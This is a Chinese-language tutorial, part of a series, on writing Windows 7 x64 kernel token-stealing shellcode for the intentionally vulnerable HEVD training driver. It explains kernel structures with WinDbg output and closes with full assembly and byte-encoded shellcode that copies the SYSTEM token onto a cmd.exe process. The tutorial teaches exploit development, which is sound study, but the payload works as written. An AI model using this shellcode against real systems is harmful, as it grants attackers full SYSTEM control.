HEVD 內核攻擊: 編寫Shellcode(三)

在上一篇文章中,我們已經能以可控的方式使用內核了。但是,當創建Windows內核漏洞利用時,目標通常都是希望以某種方式獲得更高的許可權,通常是SYSTEM許可權。這時我們就必須用到內核有效載荷。

竊取進程token

使用這個方法的最終目標是使用SYSTEM級別訪問許可權打開命令提示符。一旦我們在 ring 0中獲取了執行的控制許可權,就有辦法來打開命令提示符。最常用的方法是竊取特權進程的進程token, Windows安全模型非常複雜的,不過我們這裡有一些簡化方法。

在Windows中,一切都可以被認為是一個對象(包括進程,文件,token等)。Windows使用稱為安全描述符的結構來保證對象的安全(SECURITY_DESCRIPTOR)。安全描述符是 Windows 創建對象時所基於的結構的一個主要部分。這意味著 Windows可識別的每一個對象(可以是文件對象、註冊表鍵、網路共享、互斥量、信號燈、進程、線程、令牌、硬體、服務、驅動……)都可以保證其安全。安全描述符結構既存在於內核模式也存在於用戶模式,而且在兩個模式中是一致的。

也就是說每個對象都由token標識。 SYSTEM token具有對任何對象執行任何活動的完全許可權。因此,如果我們可以獲得SYSTEM token並將其複製到局較少特權token的頂部,那麼我們將獲得對所有內容的完全訪問許可權。

為了實現這完全訪問許可權的目的,我們必須使用堆棧的緩衝區溢出,把驅動程序執行重定向到一個內存區域,不過這需要為重定向分配一些可執行內存,並在觸發溢出之前,先將我們的shellcode進行複製。因為我們不能使用msfvenom轉儲一些粘貼過來的內核shellcode,所以我們必須另想辦法。

為了編寫一個全新的shellcode,我們必須了解一些我們將要處理的數據結構和對象。這些數據結構將幫助我們從靜態位置轉變到我們想要交換的進程token。

KPCR

由於Windows需要支持多個CPU, 因此Windows內核中為此定義了一套以處理器控制區(Processor Control Region)即KPCR為樞紐的數據結構, 使每個CPU都有個KPCR. 其中KPCR這個結構中有一個域KPRCB(Kernel Processor Control Block)結構, 這個結構擴展了KPCR. 這兩個結構用來保存與線程切換相關的全局信息。

這對我們編寫Shellcode很有用,因為在X86 CPU中,FS段寄存器用於指向線程環境塊(TEB)和處理器控制區(Processor Control Region, KPCR),但是,在X64上,GS段寄存器在用戶態是指向TEB,在內核態是指向KPCR

所以KPCR總是在gs:[0]處可用,當你創建與位置無關的代碼時,這是很方便的:

0: kd> dt nt!_KPCRn +0x000 NtTib : _NT_TIBn +0x000 GdtBase : Ptr64 _KGDTENTRY64n +0x008 TssBase : Ptr64 _KTSS64n +0x010 UserRsp : Uint8Bn +0x018 Self : Ptr64 _KPCRn +0x020 CurrentPrcb : Ptr64 _KPRCBn ...n +0x118 PcrAlign1 : [24] Uint4Bn +0x180 Prcb : _KPRCBn

上面的結構代碼看起來非常有趣,但我們關心的主要是列表中的最後一行,KPCR.Prcb是一個KPRCB結構。

KPRCB

從KPCR,我們可以得到內核處理器控制塊(KPRCB),其中包含了指向當前線程的KTHREAD結構的指針。我們之所以關心這一點,是因為它為我們提供了處理器正在執行的線程的KTHREAD結構的位置。這個結構相當巨大,所以我列出前八行:

0: kd> dt nt!_KPRCBn +0x000 MxCsr : Uint4Bn +0x004 LegacyNumber : UCharn +0x005 ReservedMustBeZero : UCharn +0x006 InterruptRequest : UCharn +0x007 IdleHalt : UCharn +0x008 CurrentThread : Ptr64 _KTHREADn +0x010 NextThread : Ptr64 _KTHREADn +0x018 IdleThread : Ptr64 _KTHREADn ...n

因此,上面的KeGetCurrentThread 代碼實際上是一條訪問fs 寄存器加上特定偏移的指令。

在gs:[188]獲得了當前線程的KTHREAD 結構指針以後,便可以很方便地獲得ETHREAD 結構的指針,以及進程KPROCESS 或EPROCESS 結構的指針。在執行體層上獲得當前線程和進程的函數分別是PsGetCurrentThread 和PsGetCurrentProcess。

KTHREAD

要了解KTHREAD,我們得先了解一下ETHREAD,我們知道,windows內核中的執行體層負責各種與管理和策略相關的功能,而內核層(微內核)實現了操作系統的核心機制。進程和線程在這兩層上都有對應的數據結構。

ETHREAD(執行體線程塊)是執行體層上的線程對象的數據結構。在windows內核中,每個進程的每一個線程都對應著一個ETHREAD數據結構。

而KTHREAD結構就是ETHREAD結構的第一部分,並且維護關於當前正在執行的線程的一些低級信息。我們的主要是想找到KTHREAD.ApcState,因為它是KAPC_STATE結構。以下是KTHREAD結構圖:

0: kd> dt nt!_KTHREADn +0x000 Header : _DISPATCHER_HEADERn +0x018 CycleTime : Uint8Bn +0x020 QuantumTarget : Uint8Bn +0x028 InitialStack : Ptr64 Voidn +0x030 StackLimit : Ptr64 Voidn ...n +0x050 ApcState : _KAPC_STATEn +0x050 ApcStateFill : [43] UCharn +0x07b Priority : Charn +0x07c NextProcessor : Uint4Bn +0x080 DeferredProcessor : Uint4Bn +0x088 ApcQueueLock : Uint8Bn +0x090 WaitStatus : Int8Bn +0x098 WaitBlockList : Ptr64 _KWAIT_BLOCKn +0x0a0 WaitListEntry : _LIST_ENTRYn +0x0a0 SwapListEntry : _SINGLE_LIST_ENTRYn +0x0b0 Queue : Ptr64 _KQUEUEn +0x0b8 Teb : Ptr64 Voidn ...n

KAPC_STATE

每個線程都跟蹤與其相關聯的進程,KAPC_STATE結構非常簡單:

0: kd> dt nt!_KAPC_STATEn +0x000 ApcListHead : [2] _LIST_ENTRYn +0x020 Process : Ptr64 _KPROCESSn +0x028 KernelApcInProgress : UCharn +0x029 KernelApcPending : UCharn +0x02a UserApcPending : UCharn

現在,我們終於進入到KPROCESS的結構中。 KPROCESS結構類似於KTHREAD,是EPROCESS結構的第一部分。因為我們已經有了KPRCB.CurrentThread指針,所以我們知道我們正在尋找的KAPC_STATE.Process是在KPRCB.CurrentThread + 50 + 20的位置,我們可以再次做一些硬核處理,到當前的KAPC_STATE.Process添加70指向KPRCB.CurrentThread指針。

EPROCESS

EPROCESS塊中不僅包含了進程相關的很多信息,還有很多指向其他相關結構數據結構的指針。例如每一個進程裡面都至少有一個ETHREAD塊表示的線程。進程的名字,和在用戶空間的PEB(進程環境)塊等等。EPROCESS中除了PEB成員塊在是用戶空間,其他都是在系統空間中的。

EPROCESS內部結構如下:

0: kd> dt nt!_EPROCESSn +0x000 Pcb : _KPROCESSn +0x160 ProcessLock : _EX_PUSH_LOCKn +0x168 CreateTime : _LARGE_INTEGERn +0x170 ExitTime : _LARGE_INTEGERn +0x178 RundownProtect : _EX_RUNDOWN_REFn +0x180 UniqueProcessId : Ptr64 Voidn +0x188 ActiveProcessLinks : _LIST_ENTRYn ...n +0x208 Token : _EX_FAST_REFn ...n +0x2d8 Session : Ptr64 Voidn +0x2e0 ImageFileName : [15] UCharn +0x2ef PriorityClass : UCharn +0x2f0 JobLinks : _LIST_ENTRYn +0x300 LockedPagesList : Ptr64 Voidn +0x308 ThreadListHead : _LIST_ENTRYn +0x318 SecurityPort : Ptr64 Voidn +0x320 Wow64Process : Ptr64 Voidn +0x328 ActiveThreads : Uint4Bn +0x32c ImagePathHash : Uint4Bn +0x330 DefaultHardErrorProcessing : Uint4Bn +0x334 LastThreadExitStatus : Int4Bn +0x338 Peb : Ptr64 _PEBn ...n

EPROCESS.UniqueProcessId

EPROCESS.UniqueProcessId是帶有當前進程PID的qword。這一點很重要,因為我們需要找到UniqueProcessId為「4」的EPROCESS結構,以便我們知道當前的SYSTEM進程,找到它的token。

EPROCESS.ActiveProcessLinks

EPROCESS塊中有一個ActiveProcessLinks,它是一個PLIST_ENTRY結構的雙向鏈表。當一個新進程建立的時候父進程負責完成EPROCESS塊,然後把ActiveProcessLinks鏈接到一個全局內核變數PsActiveProcessHead鏈表中。

這意味著列表中的每個條目都指向另一個進程的EPROCESS結構,偏移量高於EPROCESS基址的+188意味著每個條目在每個活動進程的UniqueProcessId之上偏移+8。

EPROCESS.Token

最後,EPROCESS.Token是分配給進程的訪問Token。大家可能已經注意到Token是以EX_FAST_REF結構表示的。 Windows通過使用Token的結尾地址來讓所有Token都對齊,並以0結尾。如下所示,大家可以看到偏移量+208處的指針與process debugger擴展名列出的Token不完全匹配,但可以使用一些布爾值算術:

0: kd> !processnPROCESS fffffa8004034a40n SessionId: 1 Cid: 0d34 Peb: 7efdf000 ParentCid: 0570n DirBase: 0af6b000 ObjectTable: fffff8a0050b42c0 HandleCount: 130.n Image: pythonw.exen VadRoot fffffa8003d67b70 Vads 97 Clone 0 Private 1822. Modified 0. Locked 0.n DeviceMap fffff8a00010b5c0n Token fffff8a00383aa00n ...n0: kd> dq fffffa8004034a40+208 l1nfffffa80`04034c48 fffff8a0`0383aa0fn0: kd> ? poi(fffffa8004034a40+208) & fffffffffffffff0nEvaluate expression: -8108839294464 = fffff8a0`0383aa00n

把這些概念了解清楚之後,我們就可以開始編寫我們的shellcode了,總共分6步

1.獲取KTHREAD和EPROCESS指針

2.遍歷ActiveProcessLinks列表以找到UniqueProcessId為4(SYSTEM)的EPROCESS,

3.保存SYSTEM Token

4.進入ActiveProcessLinks列表以找到與我們的shell(cmd.exe)相關聯的EPROCESS,

5.將SYSTEM Token複製到cmd.exe Token的頂部

6.恢復shellcode

第一步,獲取KTHREAD和EPROCESS指針

如前所述,這一步超級簡單。 gs:[0]是KPRCR加上+180的KPRCB加+8的KTHREAD指針; KTHREAD指針加上+50是KAPC_STATE加上+20的EPROCESS指針:

start:n mov rdx, [gs:188h] ;KTHREAD pointern mov r8, [rdx+70h] ;EPROCESS pointern

第二步,遍歷ActiveProcessLinks

EPROCESS.ActiveProcessLinks是一個雙向鏈表,意味著結構以一個指向下一個條目的指針開始,後面跟著一個指向前一個條目的指針,後面是實際條目。列表從EPROCESS結構基址的+188偏移處開始。每個條目指向每個活動進程的EPROCESS.ActiveProcessLinks列表。我們之前看到EPROCESS.UniqueProcessId與EPROCESS.ActiveProcessLinks列表的基址相對偏移為-8。我們將列表的頭部載入到r9寄存器中,將第一個條目載入到rcx中,然後對列表中的每個條目設置一個循環遍歷,查找UniqueProcessId 4:

mov r9, [r8+188h] ;ActiveProcessLinks list headn mov rcx, [r9] ;follow link to first process in listnfind_system:n mov rdx, [rcx-8] ;ActiveProcessLinks - 8 = UniqueProcessIdn cmp rdx, 4 ;UniqueProcessId == 4? n jz found_system ;YES - move onn mov rcx, [rcx] ;NO - load next entry in listn jmp find_system ;loopn

當這個循環運行完畢,我們就應該使用rcx寄存器,它包含一個指向+188偏移的指針,該指針指向SYSTEM進程的EPROCESS。

第三步,保存SYSTEM Token地址

保存SYSTEM Token很容易做到。 rax寄存器可以用來進行保存。此時,rcx指向SYSTEM EPROCESS + 188,我們想要的Token就在EPROCESS + 208。這意味著我們只需將rcx + 80移動到rax中,然後修改低4位的值以獲得我們的SYSTEM Token指針:

found_system:n mov rax, [rcx+80h] ;offset to tokenn and al, 0f0h ;clear low 4 bits of _EX_FAST_REF structuren

第四步,進入ActiveProcessLinks列表

這基本上與步驟二相同。唯一的區別是,我們要搜索產生的cmd.exe進程的PID,而不是PID「4」。我們將在下一篇為大家分析如何在Python中實現這些:

find_cmd:n mov rdx, [rcx-8] ;ActiveProcessLinks - 8 = UniqueProcessIdn cmp rdx, 1234h ;UniqueProcessId == XXXX? (PLACEHOLDER)n jz found_cmd ;YES - move onn mov rcx, [rcx] ;NO - next entry in listn jmp find_cmd ;loopn

這時在rcx會有一個地址指向cmd.exe的EPROCESS + 188。至此,我們就完成了Token的搜索。

第五步,將SYSTEM Token複製到cmd.exe Token

我們在rax中有SYSTEM Token,在rcx + 80中有cmd.exe Token。

found_cmd:n mov [rcx+80h], rax ;copy SYSTEM token over top of this processs tokenn

至此我們就有一個shell運行下的SYSTEM許可權。

第六步,恢復shellcode

在溢出點處,堆棧包含了指向HEVD驅動器在rsp + 28處的地址:

0: kd> ?poi(rsp+28)nEvaluate expression: -8246261640726 = fffff880`048111ean0: kd> u fffff880048111ea l1nHEVD+0x61ea:nfffff880`048111ea 488d0d6f110000 lea rcx,[HEVD+0x7360 (fffff880`04812360)]n

正如上所示,地址指向了HEVD + 0x61ea。這個地址有什麼用呢?看看我們在上一篇文章提到的這個圖,你就知道了。

HEVD + 0x61ea剛好是返回地址回到IOCTL的調度表, HACKSYS_EVD_STACKOVERFLOW處理程序被調用!以下是簡單的恢復步驟:

return:n add rsp, 28h ;HEVD+0x61ean retn

這包含了我們在shellcode中需要完成的一切!

我們將在下一篇文章中,討論如何在Python漏洞中實現shellcode。

這是shellcode的最終形式:

[BITS 64]n; Windows 7 x64 token stealing shellcoden; based on http://mcdermottcybersecurity.com/articles/x64-kernel-privilege-escalationnstart:n mov rdx, [gs:188h] ;KTHREAD pointern mov r8, [rdx+70h] ;EPROCESS pointern mov r9, [r8+188h] ;ActiveProcessLinks list headn mov rcx, [r9] ;follow link to first process in listnfind_system:n mov rdx, [rcx-8] ;ActiveProcessLinks - 8 = UniqueProcessIdn cmp rdx, 4 ;UniqueProcessId == 4? n jz found_system ;YES - move onn mov rcx, [rcx] ;NO - load next entry in listn jmp find_system ;loopnfound_system:n mov rax, [rcx+80h] ;offset to tokenn and al, 0f0h ;clear low 4 bits of _EX_FAST_REF structurenfind_cmd:n mov rdx, [rcx-8] ;ActiveProcessLinks - 8 = UniqueProcessIdn cmp rdx, 1234h ;UniqueProcessId == ZZZZ? (PLACEHOLDER)n jz found_cmd ;YES - move onn mov rcx, [rcx] ;NO - next entry in listn jmp find_cmd ;loopnfound_cmd:n mov [rcx+80h], rax ;copy SYSTEM token over top of this processs tokennreturn:n add rsp, 28h ;HEVD+0x61ean retn;String literal (replace xZZs with PID):n;"x65x48x8Bx14x25x88x01x00x00x4Cx8Bx42x70x4Dx8Bx88"n;"x88x01x00x00x49x8Bx09x48x8Bx51xF8x48x83xFAx04x74"n;"x05x48x8Bx09xEBxF1x48x8Bx81x80x00x00x00x24xF0x48"n;"x8Bx51xF8x48x81xFAxZZxZZxZZxZZx74x05x48x8Bx09xEB"n;"xEEx48x89x81x80x00x00x00x48x83xC4x28xC3"n

本文參考來源於sizzop.github,如若轉載,請註明來源於嘶吼: HEVD 內核攻擊: 編寫Shellcode(三) 更多內容請關注「嘶吼專業版」——Pro4hou

推薦閱讀:

並非勒索軟體?Petya 的真實面目令人遐想
iphone5被偷了,在不刷機的前提下,小偷是怎麼破解了開機密碼的?
惡意軟體偽裝成遊戲攻略應用偷跑廣告,Google Play商店數十萬用戶中招

TAG:PowerShell | 信息安全 |